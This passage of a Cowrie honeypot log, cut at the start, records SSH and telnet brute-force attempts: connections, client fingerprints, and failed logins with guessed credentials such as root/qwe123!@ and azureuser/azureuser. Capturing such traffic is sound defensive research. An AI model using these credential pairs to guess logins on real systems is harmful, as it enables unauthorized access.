-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:21.487496Z","src_ip":"95.38.165.118","session":"cbf086c1ff06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:21.531462Z","src_ip":"43.245.97.82","session":"df6ada53c427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:22.540834Z","src_ip":"43.245.97.82","session":"df6ada53c427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:23.788130Z","src_ip":"43.245.97.82","session":"df6ada53c427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:24.194677Z","src_ip":"95.38.165.118","session":"cbf086c1ff06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:26.700899Z","src_ip":"95.38.165.118","session":"cbf086c1ff06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55104,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6078310558c","protocol":"ssh","message":"New connection: 95.38.165.118:55104 (10.17.0.5:22) [session: d6078310558c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:27.544894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:27.922585Z","src_ip":"95.38.165.118","session":"d6078310558c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17499303817749,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:28.431522Z","src_ip":"69.4.83.194","session":"2dcb50238cbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43214,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e3d38590db","protocol":"telnet","message":"New connection: 69.4.83.194:43214 (159.203.135.109:23) [session: 88e3d38590db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:28.748445Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:28.805190Z","src_ip":"95.38.165.118","session":"d6078310558c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"8029312f33be","protocol":"telnet","message":"New connection: 69.4.83.194:44752 (159.203.135.109:23) [session: 8029312f33be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:29.682383Z"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:31.756477Z","src_ip":"95.38.165.118","session":"d6078310558c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:33.177109Z","src_ip":"95.38.165.118","session":"d6078310558c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55106,"dst_ip":"10.17.0.5","dst_port":22,"session":"389c169566db","protocol":"ssh","message":"New connection: 95.38.165.118:55106 (10.17.0.5:22) [session: 389c169566db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:34.250609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:34.291301Z","src_ip":"95.38.165.118","session":"389c169566db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:34.420093Z","src_ip":"95.38.165.118","session":"389c169566db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:35.120699Z","src_ip":"95.38.165.118","session":"389c169566db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:36.302256Z","src_ip":"95.38.165.118","session":"389c169566db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ddef6264a0","protocol":"ssh","message":"New connection: 95.38.165.118:43858 (10.17.0.5:22) [session: a4ddef6264a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:40.052855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:40.113662Z","src_ip":"95.38.165.118","session":"a4ddef6264a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:40.304993Z","src_ip":"95.38.165.118","session":"a4ddef6264a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":47738,"dst_ip":"10.17.0.5","dst_port":23,"session":"30df0e5e1982","protocol":"telnet","message":"New connection: 178.128.93.180:47738 (10.17.0.5:23) [session: 30df0e5e1982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:40.934764Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":48344,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33f1287aec8","protocol":"telnet","message":"New connection: 178.128.93.180:48344 (10.17.0.5:23) [session: e33f1287aec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:42.930597Z"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:43.503544Z","src_ip":"95.38.165.118","session":"a4ddef6264a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:45.096539Z","src_ip":"95.38.165.118","session":"a4ddef6264a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43870,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f370e18c90","protocol":"ssh","message":"New connection: 95.38.165.118:43870 (10.17.0.5:22) [session: e9f370e18c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:45.698032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:45.715671Z","src_ip":"95.38.165.118","session":"e9f370e18c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:45.871915Z","src_ip":"95.38.165.118","session":"e9f370e18c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:48.102179Z","src_ip":"95.38.165.118","session":"e9f370e18c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":46296,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac59f6a6b68d","protocol":"ssh","message":"New connection: 185.40.30.168:46296 (159.203.135.109:22) [session: ac59f6a6b68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:49.537247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:49.541608Z","src_ip":"185.40.30.168","session":"ac59f6a6b68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:49.689225Z","src_ip":"185.40.30.168","session":"ac59f6a6b68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:50.108185Z","src_ip":"95.38.165.118","session":"e9f370e18c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:50.261463Z","src_ip":"185.40.30.168","session":"ac59f6a6b68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:51.394547Z","src_ip":"185.40.30.168","session":"ac59f6a6b68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33092,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e51529e0170","protocol":"ssh","message":"New connection: 95.38.165.118:33092 (10.17.0.5:22) [session: 7e51529e0170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:51.612607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:51.867721Z","src_ip":"95.38.165.118","session":"7e51529e0170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:51.871731Z","src_ip":"95.38.165.118","session":"7e51529e0170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:53.144203Z","src_ip":"95.38.165.118","session":"7e51529e0170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:54.319901Z","src_ip":"95.38.165.118","session":"7e51529e0170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59578,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d034a39c609","protocol":"ssh","message":"New connection: 95.38.165.118:59578 (10.17.0.5:22) [session: 1d034a39c609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:57.557562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:57.706587Z","src_ip":"95.38.165.118","session":"1d034a39c609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:58.067684Z","src_ip":"95.38.165.118","session":"1d034a39c609","protocol":"ssh"}
